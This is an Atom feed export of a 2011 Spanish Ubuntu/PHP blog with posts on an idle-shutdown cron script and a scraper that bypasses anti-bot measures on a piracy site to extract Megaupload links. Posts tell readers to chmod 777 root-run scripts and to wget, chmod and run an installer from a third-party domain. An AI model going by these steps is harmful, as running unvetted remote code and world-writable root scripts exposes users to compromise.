<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9019632120120195302</id><updated>2012-01-02T22:57:24.553+01:00</updated><category term='Redes'/><category term='LAMP; Seguridad'/><category term='Fstab'/><category term='Plymouth'/><category term='teclados'/><category term='Youtube'/><category term='Proxys'/><category term='Imagen CD'/><category term='Wine'/><category term='Grub'/><category term='Chivato-Tuenti'/><category term='DEFCON'/><category term='RPM'/><category term='Reprodcutores'/><category term='Contraseñas'/><category term='Richard Stallman'/><category term='Web'/><category term='Curiosidades'/><category term='Auditoria'/><category term='Compiz'/><category term='FTP'/><category term='IP'/><category term='GFW'/><category term='Apache'/><category term='Antivirus'/><category term='Serato'/><category term='OCR'/><category term='Dominios'/><category term='Tuenti'/><category term='TV'/><category term='Escáner'/><category term='SPAM'/><category term='MySQL'/><category term='Dependencias'/><category term='Programacion'/><category term='Apariencia'/><category term='PDF'/><category term='Javascript'/><category term='Xorg'/><category term='Martillo de Oro'/><category term='AEAT'/><category term='Vídeo'/><category term='Licencias'/><category term='Sesiones'/><category term='ATi'/><category term='USB'/><category term='Hacienda'/><category term='Música'/><category term='Ingeniería Social'/><category term='Firefox'/><category term='Juegos'/><category term='Particiones'/><category term='Compartir Archivos'/><category term='WHOIS'/><category term='Uuntu'/><category term='Alan Cox'/><category term='Seguridad'/><category term='VNC'/><category term='Hacking'/><category term='Bash'/><category term='XSS'/><category term='Hola Mundo'/><category term='Sistemas de Archivos'/><category term='La Nube'/><category term='Software Libre'/><category term='Descarga Directa'/><category term='Consola'/><category term='Amsn2'/><category term='Gimp'/><category term='Samba'/><category term='WebCam'/><category term='Instalación'/><category term='Alien'/><category term='ADA'/><category term='Optimizaciones'/><category term='PulseAudio'/><category term='Sonido'/><category term='GNU'/><category term='Firewall'/><category term='Vinagre'/><category term='PASCAL'/><category term='IDE'/><category term='GNOME'/><category term='OSS'/><category term='Cifrado'/><category term='Alternativas'/><category term='Mixxx'/><category term='Servidor'/><category term='Historias'/><category term='Audio'/><category term='Fotografía'/><category term='Xwax'/><category term='Hacktivismo'/><category term='Terminal'/><category term='Curl'/><category term='Ahorrar'/><category term='FAIL'/><category term='KDE'/><category term='LAMP'/><category term='Stellarium'/><category term='Internet'/><category term='Mensajería Instantánea'/><category term='Comandos'/><category term='Debian'/><category term='Ingenieria Inversa'/><category term='DEB'/><category term='Epiphany'/><category term='Pirateria'/><category term='World Of Warcraft'/><category term='Linus Torvalds'/><category term='Google'/><category term='Privacidad'/><category term='Kevin Mitnick'/><category term='PHP'/><category term='ALSA'/><category term='SEO'/><category term='Formatos Libres'/><category term='PHPMyAdmin'/><category term='Electricidad'/><category term='Linux'/><category term='Imagenes'/><category term='Peliculas'/><category term='DynDns'/><category term='Virtualbox'/><category term='Ubuntu'/><title type='text'>Ubuntu, PHP y Software Libre</title><subtitle type='html'>Blog sobre Ubuntu, PHP, programación y nuevas tecnologías.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default?start-index=101&amp;max-results=100'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>134</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4081881455496546485</id><published>2011-10-27T01:24:00.000+02:00</published><updated>2011-10-27T02:21:14.571+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Electricidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Ahorrar'/><title type='text'>Ahorrar energía en Ubuntu. Como ahorrar dinero en el ordenador</title><content type='html'>&amp;nbsp;A continuación dejo unas pautas básicas para ahorrar dinero con el ordenador:&lt;br /&gt;&lt;br /&gt;1- Crea una tarea programada que ejecute este script para que apague tu ordenador si la CPU no se está utilizando. Te recomiendo que leas &lt;a href="http://donzeyt.blogspot.com/2011/07/apagar-ubuntu-cuando-la-maquina-no-se.html"&gt;este post&lt;/a&gt; para configurarlo pero utiliza este script que es mejor.&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="background-color: white; color: blue;"&gt;#!/bin/bash&lt;br /&gt;xhost local:mpromber &amp;gt; /dev/null&lt;br /&gt;consumocpu=`uptime` #contiene el consumo de cpu&lt;br /&gt;MINCPUgrande=0; #Contiene el mínimo consumo de cpu, por defecto yo uso 0,&lt;br /&gt;MINCPUchico=90; #Contiene el mínimo consumo cpu, yo por defecto ,90&lt;br /&gt;usoCPUgrande=`echo "$consumocpu" | cut -d" " -f12 | cut -d. -f1`&lt;br /&gt;usoCPUchico=`echo "$consumocpu" | cut -d" " -f12 | cut -d. -f2 | cut -d, -f1`&lt;br /&gt;if [ $usoCPUgrande -eq $MINCPUgrande ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if [ $usoCPUchico&amp;nbsp; -lt $MINCPUchico ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;zenity --info --text="Pulsa aceptar para que no se apague el ordenador." --display=:0.0 --timeout=30&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if [ $? -eq "5" ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;shutdown -h now &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;fi&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fi&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;2- Comprar una &lt;a href="http://www.mercadoactual.es/mactual/SAIS_REGLETA_DE_ENCHUFES_CONCEPTRONIC_DE_8_T_CCSTANDBY8_329496_mactual.html"&gt;regleta stand by killer conceptronic&amp;nbsp;&lt;/a&gt; y poner como maestro el CPU. Cuando se apague el ordenador apagará los altavoces, los monitores y todo lo que tenga ahí conectado. Es muy útil.&lt;br /&gt;&lt;br /&gt;3- Configura adecuadamente la iluminación del monitor. No hace falta que este la luz al 100. Con 60 es más que suficiente.&lt;br /&gt;&lt;br /&gt;4- Si tienes una red montada en casa utiliza sólo la wifi. Los switch, hub, servidores etc... consumen un montón.&lt;br /&gt;&lt;br /&gt;5- Si tienes un servidor de datos en casa para música y películas, es hora de jubilarlo, &lt;a href="http://www.modpc.com/index.php?pageid=pagtienda&amp;amp;op=vart&amp;amp;ref=D687"&gt;comprar un disco duro de 3 TB &lt;/a&gt;y meterlo en tu pc con todos los datos.&lt;br /&gt;&lt;br /&gt;6- Si el ratón de láser sigue dando luz cuando tu PC esté apagado es que la bios tiene activado el Wake Up. Tienes dos opciones, o lo desactivas en la bios, o cambias el jumper en la placa base. Normalmente suele estar cerca de los puertos PS2 y son 3 pines. Mueve el jumper 1 hueco a la izquierda y listo.&lt;br /&gt; &lt;br /&gt;Continuará....&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4081881455496546485?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4081881455496546485/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/10/ahorrar-energia-en-ubuntu-como-ahorrar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4081881455496546485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4081881455496546485'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/10/ahorrar-energia-en-ubuntu-como-ahorrar.html' title='Ahorrar energía en Ubuntu. Como ahorrar dinero en el ordenador'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7053487450261596922</id><published>2011-07-18T03:22:00.009+02:00</published><updated>2011-07-19T14:02:52.603+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Electricidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Apagar Ubuntu cuando la máquina no se utilice</title><content type='html'>Aquí os dejo un pequeño script que tenéis que poner como cronjob o tarea programada cada minuto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Modificar el 1 por el nivel de uso que queráis&lt;br /&gt;llamar&lt;b&gt; autoApagado&lt;/b&gt; guardar en /usr/bin/ y dar permisos &lt;b&gt;sudo chmod 777 autoApagado&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;xhost local:mpromber &amp;gt; /dev/null&lt;br /&gt;usoCPU=`uptime | cut -d" " -f12 | cut -d. -f1`&lt;br /&gt;if [ $usoCPU -lt "1" ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;zenity --info --text="Pulsa aceptar para que no se apague el ordenador." --display=:0.0 --timeout=30&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if [ $? -eq "5" ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;shutdown -h now &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fi&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;/blockquote&gt;Si queréis ser más exactos y usar decimales pues trastear con el script.&lt;br /&gt;&lt;br /&gt;Para añadir el cron job&lt;br /&gt;&lt;ul&gt;&lt;li&gt;sudo gedit /etc/crontab&lt;/li&gt;&lt;/ul&gt;y añadimos &lt;br /&gt;&lt;blockquote&gt;0-59/5&amp;nbsp;&amp;nbsp; &amp;nbsp;* * * * *&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp; autoApagado&lt;/blockquote&gt;Lo que ejecutará nuestro programa cada 5 minutos 8)&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7053487450261596922?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7053487450261596922/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/07/apagar-ubuntu-cuando-la-maquina-no-se.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7053487450261596922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7053487450261596922'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/07/apagar-ubuntu-cuando-la-maquina-no-se.html' title='Apagar Ubuntu cuando la máquina no se utilice'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-968336429272680388</id><published>2011-04-07T17:13:00.002+02:00</published><updated>2011-04-07T17:13:48.625+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='SPAM'/><title type='text'>Recomenacioens spam anti registro</title><content type='html'>www.mailnator.com &amp;amp;&amp;amp; www.bugmenot.com&lt;br /&gt;&lt;br /&gt;Lo parten xD&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-968336429272680388?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/968336429272680388/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/04/recomenacioens-spam-anti-registro.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/968336429272680388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/968336429272680388'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/04/recomenacioens-spam-anti-registro.html' title='Recomenacioens spam anti registro'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3923170935593930944</id><published>2011-03-24T02:34:00.001+01:00</published><updated>2011-03-24T02:35:22.451+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Descarga Directa'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Generador de enlaces de descargas desde Series Yonkis</title><content type='html'>Shell + PHP -&amp;gt;Herramientas usadas&lt;br /&gt;Necesitas tener instalado PHP&lt;br /&gt;&lt;ul&gt;&lt;li&gt;sudo apt-get install php5-cli&lt;/li&gt;&lt;/ul&gt;Instalación:&lt;br /&gt;&lt;b&gt;series&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;####&lt;br /&gt;echo "Introduzca el nombre de la serie"&lt;br /&gt;read serie&lt;br /&gt;echo "Introduzca el numero de temporada"&lt;br /&gt;read temporada&lt;br /&gt;echo "Numero de enlaces a mostrar"&lt;br /&gt;read numEnlaces&lt;br /&gt;#####&lt;br /&gt;cd /tmp/&lt;br /&gt;wget "http://www.seriesyonkis.com/serie/"$serie"/" -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O $serie &amp;amp;&amp;gt;/dev/null&lt;br /&gt;cat $serie | awk -F'&amp;gt;' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='&amp;lt;' &amp;amp;&amp;gt; $serie".enlaces"&lt;br /&gt;grep $temporada"x" $serie".enlaces" &amp;amp;&amp;gt; $serie&lt;br /&gt;egrep -o "http:.*/ " $serie &amp;amp;&amp;gt; $serie".enlaces"&lt;br /&gt;echo $serie" "$temporada" Comienza la descarga"&lt;br /&gt;contador=1&lt;br /&gt;for capitulo in $(cat $serie."enlaces"); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wget $capitulo -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "capitulo" &amp;amp;&amp;gt;/dev/null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cat "capitulo" | awk -F'&amp;gt;' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='&amp;lt;' &amp;amp;&amp;gt; "capitulo.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; grep "DESCARGAR DE megaupload" "capitulo.enlaces" &amp;amp;&amp;gt; "capitulo"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; egrep -o "http:.*" capitulo | cut -d " " -f1 | head -n$numEnlaces &amp;amp;&amp;gt; "capitulo.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo $serie" Capitulo "$contador&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for enlace in $(cat "capitulo.enlaces"); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo -n "http://www.megaupload.com/?s=seriesyonkis&amp;amp;d="&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; php5 /usr/bin/cleaner_series $enlace&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;amp;confirmed=1"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; done&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm "capitulo"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm "capitulo.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; let contador=contador+1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; done&lt;br /&gt;rm $serie&lt;br /&gt;rm $serie".enlaces"&lt;br /&gt;exit 0&lt;/blockquote&gt;&amp;nbsp;Pastebin &lt;a href="http://pastebin.com/CKt3LqCh"&gt;http://pastebin.com/CKt3LqCh&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;cleaner_series&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function hola($a){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $d = $a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $e = 900+101+43-27-1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $e +=23+100+114;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($i=0; $i&amp;lt;strlen($d); $i++){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f .= chr($e^ ord($d[$i]));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $f;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ($i=1; $i&amp;lt;$argc; $i++){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $hola = $argv[$i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $hola = explode("/",$hola);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $hola = $hola[6];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo hola(urldecode($hola));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;Pastebin &lt;a href="http://pastebin.com/SLrJzk9W"&gt;http://pastebin.com/SLrJzk9W&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Guardamos los 2 archivos en el Escritorio y abrimos un terminal&lt;br /&gt;&lt;ul&gt;&lt;li&gt;chmod 777 series&lt;/li&gt;&lt;li&gt;chmod 777 cleaner_series&lt;/li&gt;&lt;li&gt;sudo mv series /usr/bin/&lt;/li&gt;&lt;li&gt;sudo mv series/usr/bin/&lt;/li&gt;&lt;/ul&gt;Abrimos un terminal escribimos series y pedirá los datos 1 - Nombre de la serie (Ha de ser el mismo que en series yonkis) 2- la temporada&amp;nbsp; y 3- El número de enlaces (con 1 basta)&lt;br /&gt;&lt;br /&gt;Si esto te parece muy raro o eres un vago redomado utiliza este método:&lt;br /&gt;Este pack incluye 3 scripts, el de series yonkis(2) y el de película aleatoria en divx.info&lt;br /&gt;&lt;ul&gt;&lt;li&gt; wget www.mma-clips.com/zeyt/series/instalador&lt;/li&gt;&lt;li&gt;chmod 777 instalador&lt;/li&gt;&lt;li&gt;./instalador&lt;/li&gt;&lt;/ul&gt;Listo!&lt;br /&gt;Un saludo!&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3923170935593930944?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3923170935593930944/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/03/generador-de-enlaces-de-descargas-desde.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3923170935593930944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3923170935593930944'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/03/generador-de-enlaces-de-descargas-desde.html' title='Generador de enlaces de descargas desde Series Yonkis'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2225132514577371563</id><published>2011-03-24T02:13:00.000+01:00</published><updated>2011-03-24T02:13:46.926+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>Series Yonkis - n.js ¿Qué hace?</title><content type='html'>Esto es lo que usa series yonkis para joder a los robots ya que suelen tener complicada la descarga. En cualquier caso yo lo usé como método rápido de conseguir enlaces frescos para bajar temporadas&lt;br /&gt;&lt;blockquote&gt;var qs = location.search.substring(1);&lt;br /&gt;var nv = qs.split('&amp;amp;');&lt;br /&gt;var url = new Object();&lt;br /&gt;var aux = "AAAAAAAA";&lt;br /&gt;&lt;br /&gt;if (location.pathname.split('/').length == 6) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; aux = location.pathname.split('/')[4]&lt;br /&gt;}&lt;br /&gt;for (i = 0; i &amp;lt; nv.length; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; eq = nv[i].indexOf('=');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; url[nv[i].substring(0, eq).toLowerCase()] = unescape(nv[i].substring(eq + 1))&lt;br /&gt;}&lt;br /&gt;function urlencode(a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return escape(a).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40')&lt;br /&gt;}&lt;br /&gt;function decrypt_str(a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = 254;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var d = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt; b.length; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; d += String.fromCharCode(c ^ b.charCodeAt(i))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return d&lt;br /&gt;}&lt;br /&gt;function _utf8_decode(a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var i = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = c1 = c2 = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (i &amp;lt; a.length) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c = a.charCodeAt(i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;gt; -128) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b += String.fromCharCode(c);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i++&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else if ((c &amp;gt; 191) &amp;amp;&amp;amp; (c &amp;lt; 224)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c2 = a.charCodeAt(i + 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b += String.fromCharCode(((c &amp;amp; 31) &amp;lt;&amp;lt; 6) | (c2 &amp;amp; 63));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i += 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c2 = a.charCodeAt(i + 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c3 = a.charCodeAt(i + 2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b += String.fromCharCode(((c &amp;amp; 15) &amp;lt;&amp;lt; 12) | ((c2 &amp;amp; 63) &amp;lt;&amp;lt; 6) | (c3 &amp;amp; 63));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i += 3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br 